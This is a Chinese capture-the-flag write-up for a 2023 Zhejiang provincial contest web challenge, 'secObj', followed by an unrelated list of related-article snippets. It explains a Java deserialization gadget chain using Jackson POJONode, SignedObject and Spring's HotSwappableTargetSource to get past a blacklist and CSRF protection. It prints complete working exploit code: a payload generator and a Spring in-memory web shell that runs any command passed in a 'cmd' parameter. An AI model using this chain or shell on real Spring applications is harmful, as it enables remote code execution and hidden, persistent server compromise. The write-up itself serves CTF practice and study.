【Web】2023浙江大学生省赛初赛 secObj 题解

目录

step 0

step 1

step 2

step 3


题目本身是不难,简单复健一下

step 0

pom依赖就是spring

反序列化入口在./admin/user/readObj 

输入流做了黑名单的过滤,TemplatesImpl不能直接打

可以jackson打SignedObject二次反序列化绕过 

具体原理看下面这篇文章

【Web】浅聊Jackson序列化getter的利用——POJONode_jackson反序列化调用getter-CSDN博客

step 1

上面那篇文章其实唯一要我们去思考的点就是如何触发toString,方法很多,具体看下面这篇文章

【Web】浅聊Java反序列化之Rome——关于其他利用链-CSDN博客

 javax.management被ban了,所以不能用javax.management.BadAttributeValueExpException作为入口

考虑到spring依赖,可以打HotSwappableTargetSource利用链,这里套两次就可

HashMap#readObject -> HashMap#putVal -> HotSwappableTargetSource#equals -> XString#equals 
-> POJONode#toString -> SignedObject#getObject 
-> HashMap#readObject -> HashMap#putVal -> HotSwappableTargetSource#equals -> XString#equals 
-> TemplatesImpl#getOutputProperties

 注意靶机不出网,所以考虑注内存马或打spring回显类

step 2

直接访问./admin/user/hello是可以直接绕过鉴权的

 但若直接post传参会报403,原因是Spring Security默认会开启csrf验证,防止csrf攻击

./login随便输入内容尝试登录,会发现post中存在_csrf字段 

 

所以我们打入payload时也要附带上_csrf和配套的JSESSIONID

step 3

EXP.java

package com.example.demo.exp;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class EXP {
    public static void main(String[] args) throws Exception {
        // 删除 BaseJsonNode#writeReplace 方法
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();

        // 靶机不出网,打Spring内存马
        byte[] bytes = Repository.lookupClass(SpringMemShell.class).getBytes();
        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "xxx");
        setFieldValue(templatesImpl, "_tfactory", null);

        // 内层 HashMap#readObject -> TemplatesImpl#getTransletInstance
        POJONode inJsonNodes = new POJONode(makeTemplatesImplAopProxy(templatesImpl));
        HotSwappableTargetSource inHotSwappableTargetSource1 = new HotSwappableTargetSource(inJsonNodes);
        HotSwappableTargetSource inHotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("xxx"));
        HashMap inHashMap = makeMap(inHotSwappableTargetSource1, inHotSwappableTargetSource2);

        // SignedObject#getObject -> 内层 HashMap#readObject
        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(inHashMap, privateKey, signingEngine);

        // 外层 HashMap#readObject -> SignedObject#getObject
        POJONode jsonNodes = new POJONode(signedObject);
        HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(jsonNodes);
        HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("xxx"));
        HashMap hashMap = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);

        // 序列化外层 HashMap#readObject
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();

        String res = Base64.getEncoder().encodeToString(barr.toByteArray());
        System.out.println(res);
    }
    // 解决 jackson 链不稳定性问题(当然,如果运气好,不用它也行)
    public static Object makeTemplatesImplAopProxy(Templates templates) throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
        return proxy;
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }
}

SpringMemShell.java

package com.example.demo.exp;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringMemShell extends AbstractTranslet{
    static {
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
            configField.setAccessible(true);
            RequestMappingInfo.BuilderConfiguration config =
                    (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
            Method method2 = SpringMemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            RequestMappingInfo info = RequestMappingInfo.paths("/shell")
                    .options(config)
                    .build();
            SpringMemShell springControllerMemShell = new SpringMemShell();
            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);

        } catch (Exception hi) {
//            hi.printStackTrace();
        }
    }

    public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
        if (request.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

url一次编码后在./admin/user/readObj打入payload

成功写入内存马,命令执行拿flag

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/611518.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

基于ESP32和ESP8266的物联网开发过程(二)

在做这个项目前&#xff0c;也做了一些调研。项目的初衷是想要用于智能家居。我比较了小米IoT、阿里云、ESPHOME、巴沙云、点灯科技和ONENET等几个平台。最终选择了Onenet&#xff0c;部分原因是之前用过它的多协议版本&#xff0c;但现在这个版本已经下线了。 小米IoT的公测名…

基于JAVAEE的停车场管理系统(论文 + 源码)

【免费】基于JAVAEE的停车场管理系统.zip资源-CSDN文库https://download.csdn.net/download/JW_559/89292324 基于JAVAEE的停车场管理系统 摘 要 如今&#xff0c;我国现代化发展迅速&#xff0c;人口比例急剧上升&#xff0c;在一些大型的商场&#xff0c;显得就格外拥挤&…

深入浅出JavaScript继承机制:解密原型、原型链与面向对象实战攻略

&#x1f525; 个人主页&#xff1a;空白诗 文章目录 &#x1f525; 引言&#x1f9f1; 原型基础⛓️ 原型链的形成&#x1f504; 修改原型的影响&#x1f3c1; 原型链的尽头为什么null标志着结束&#xff1f;实际意义 &#x1f310; &#x1f504; 继承的实现方式1. 原型链继承…

正点原子[第二期]Linux之ARM(MX6U)裸机篇学习笔记-11.1,11.2-BSP文件目录组织

前言&#xff1a; 本文是根据哔哩哔哩网站上“正点原子[第二期]Linux之ARM&#xff08;MX6U&#xff09;裸机篇”视频的学习笔记&#xff0c;在这里会记录下正点原子 I.MX6ULL 开发板的配套视频教程所作的实验和学习笔记内容。本文大量引用了正点原子教学视频和链接中的内容。…

基于SpringBoot的全国风景区WebGIS按省展示实践

目录 前言 一、全国风景区信息介绍 1、全国范围内数据分布 2、全国风景区分布 3、PostGIS空间关联查询 二、后台查询的设计与实现 1、Model和Mapper层 2、业务层和控制层设计 三、WebGIS可视化 1、省份范围可视化 2、省级风景区可视化展示 3、成果展示 总结 前…

【Vulhub靶场】Nginx 中间件漏洞复现

【Vulhub靶场】Nginx 中间件漏洞复现 一、Nginx 文件名逻辑漏洞&#xff08;CVE-2013-4547&#xff09;1. 影响版本2. 漏洞原理3. 漏洞复现 二、Nginx越界读取缓存漏洞&#xff08;CVE-2017-7529&#xff09;1. 漏洞详情2. 影响版本3. 漏洞复现 三、Nginx 配置错误导致漏洞&…

建发弘爱 X 袋鼠云:加速提升精细化、数字化医疗健康服务能力

厦门建发弘爱医疗集团有限公司&#xff08;简称“建发弘爱”&#xff09;创立于2022年&#xff0c;是厦门建发医疗健康投资有限公司的全资子公司&#xff0c;专业从事医疗健康领域的医疗服务。 建发弘爱通过医疗、健康及产业服务三大板块&#xff0c;为百姓提供医疗和健康全生…

【MySQL基本查询(下)】

文章目录 一、update案例 二、Delete案例注意&#xff1a;delete 全表数据的行为慎用&#xff01;truncate 三、插入查询结果案例 四、了解一些函数1.count函数2.sum函数3. avg函数4.max函数5. min函数 五、group by子句的使用案例having和where 一、update 该关键字的功能就是…

k8s遇到的常见问题及解决

1. error: open /var/lib/kubelet/config.yaml: no such file or directory 解决&#xff1a;关键文件缺失&#xff0c;多发生于没有做 kubeadm init就运行了systemctl start kubelet。 要先成功运行kubeadm init 2. 执行初始化kubeadm init ------的时候报错 The HTTP call…

(Mac)RocketMQ的本地安装测试(详细图示)

目录 部署服务 namesrv / broker下载解压缩运行 namesrvnohup ./bin/mqnamesrv & 启动命令详解运行 broker 测试收发消息运行自带的生产者测试类运行自带的消费者测试类 部署 Dashboard 可视化下载打包运行访问 部署服务 namesrv / broker 下载解压缩 官网下载 https://r…

Excel——项目管理,设置时间到期自动提醒及颜色高亮

效果图 第一步、自动获取合同到期日期 1、首先合同【签约日期】和【到期日期】下面的数据必须是日期格式&#xff0c;不能是其它的格式否则无法计算&#xff0c;如果是其它格式需要转换成标准的日期格式&#xff0c;如下图所示。 2、在“到期日期”下面的第一个单元格中输入公…

7 系列 FPGA 产品介绍及选型

目录 Spartan-7 FPGAsArtix-7 FPGAsKintex-7 FPGAsVirtex-7 FPGAsFPGA芯片命名规则DSP资源BRAM资源Transceivers 资源Transceivers 总带宽I/O 个数及带宽参考文档 Spartan-7 FPGAs Artix-7 FPGAs Kintex-7 FPGAs Virtex-7 FPGAs FPGA芯片命名规则 DSP资源 BRAM资源 Transceiver…

快速上手prometheaus grafana 监控

介绍 prometheaus 一个定时输出指标数据的巡检组件&#xff1f; grafana 一个读取指标&#xff0c;可视化的提供了好看界面的组件&#xff1f; 教程 如何和springboot项目集成 【IT老齐153】超级实用&#xff01;十分钟掌握Prometheus与Grafana监控SpringBoot应用_哔哩哔哩_…

100000订单直接拒掉,君子爱财,取之有道

近一个月询盘可谓寥寥无几&#xff0c;成交率为0&#xff0c;今天好不容易接了一个客户询盘&#xff0c;订单总价高达100000&#xff0c;听完细节直接拒掉&#xff0c;至于原因懂的都懂&#xff0c;不懂得等我慢慢道来。 前两天有2个询盘&#xff0c;其中一个是二次开发&#x…

【Python爬虫实战入门】:教你一个程序实现PPT模版自由

文章目录 &#x1f4a5;一、PPT模版爬取&#x1f525;1.1 第一个爬虫&#x1f6b2;1. 获取下载页面链接 ❤️1.2 第二个爬虫&#x1f6b2;1.3 第三个爬虫&#x1f388;2. 文件保存 ❤️1.4 翻页处理 &#x1f525;二、完整代码 &#x1f525;&#x1f525;&#x1f525; Pytho…

大腾智能网站正式上线

4月30日&#xff0c;我们翘首以盼的时刻终于来临&#xff0c;大腾智能官网&#xff08;www.da-teng.com&#xff09;正式上线&#xff0c;我们对此感到无比兴奋和自豪&#xff01;此刻&#xff0c;我们诚挚地邀请每一位朋友&#xff0c;共同踏上这个全新的数字之旅&#xff0c;…

从需求到实现的关键

版本封面 内容&#xff1a;产品logo&#xff0c;项目名称&#xff0c;所属公司&#xff0c;产品名称&#xff0c;文档类型&#xff0c;版本号&#xff0c;时间&#xff0c;相关人员&#xff08;最好说明下负责人&#xff09;。 作用&#xff1a; 突出重要信息&#xff0c;将…

【软考高项】三十八、风险管理7个过程

一、规划风险管理 1、定义、作用 定义&#xff1a;定义如何实施项目风险管理活动的过程作用&#xff1a;确保风险管理的水平、方法和可见度与项目风险程度相匹配&#xff0c;与对组织和其他干系人的重要程度相匹配 2、输入 项目管理计划 项目章程 项目文件 干系人登记册…

debian10 (armbian) 配置CUPS 服务

更新apt apt-update安装相关软件 apt-get install ghostscript apt-get install dc apt-get install foomatic-db-engine apt-get install cups3.修改配置文件 nano /etc/cups/cupsd.conf Listen localhost:631改为 Listen 0.0.0.0:631 以下四段配置加入Allow All # Only li…

中国地面气候资料日值数据获取方式

数据简介 环境气象数据服务平台提供了全国大约2100个点位&#xff0c;2000年至2023年的逐日数据。包括气温、气压、湿度、风、降水等要素。 数据基于ECMWF reanalysis-era5-land、reanalysis-era5-single-levels 以及中国2100站点地面气候资料日值观测数据&#xff0c;使用机器…